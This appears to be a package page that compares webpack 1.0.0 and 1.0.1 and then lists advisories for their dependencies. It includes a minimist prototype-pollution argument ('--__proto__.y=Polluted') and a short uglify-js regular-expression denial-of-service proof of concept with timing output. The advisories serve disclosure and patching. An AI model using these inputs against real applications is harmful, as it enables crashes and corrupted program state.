Webpack versions 1.0.0 and 1.0.1 are very similar, both serving as powerful module bundlers for CommonJs and AMD modules, primarily targeting browser-based applications. Developers can leverage these versions to split codebases into manageable bundles, enabling on-demand loading and optimizing initial load times for improved user experience. Both iterations support a wide array of loaders, facilitating the preprocessing of various file types, including JSON, Jade, CoffeeScript, CSS, and Less, allowing developers to seamlessly integrate different technologies into their projects.
The core functionalities and dependency structure remain largely consistent between the two releases. Both rely on dependencies such as async, clone, mkdirp, esprima, tapable, optimist, uglify-js, webpack-core, base64-encode, enhanced-resolve, and node-libs-browser for essential operations. Similarly, their development dependencies include tools like mocha, should, and express for testing and development, along with loaders such as css-loader, raw-loader, and others, enhancing the webpack's capabilities. The repository and author information are also identical.
The primary difference lies in the release date and potentially very minor bug fixes or internal improvements. Version 1.0.1 was released on February 24th, 2014, a few days after version 1.0.0's release on February 19th, 2014. Given the small version bump, developers transitioning from 1.0.0 to 1.0.1 likely encountered minimal breaking changes, if any. The update likely addressed immediate bugs or stability issues found quickly after the initial 1.0.0 release. Therefore upgrading your webpack version from 1.0.0 to 1.0.1 should be fairly straightforward.
All the vulnerabilities related to the version 1.0.1 of the package
Prototype Pollution in minimist
Affected versions of minimist
are vulnerable to prototype pollution. Arguments are not properly sanitized, allowing an attacker to modify the prototype of Object
, causing the addition or modification of an existing property that will exist on all objects.
Parsing the argument --__proto__.y=Polluted
adds a y
property with value Polluted
to all objects. The argument --__proto__=Polluted
raises and uncaught error and crashes the application.
This is exploitable if attackers have control over the arguments being passed to minimist
.
Upgrade to versions 0.2.1, 1.2.3 or later.
Prototype Pollution in minimist
Minimist prior to 1.2.6 and 0.2.4 is vulnerable to Prototype Pollution via file index.js
, function setKey()
(lines 69-95).
Regular Expression Denial of Service in uglify-js
Versions of uglify-js
prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse()
method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.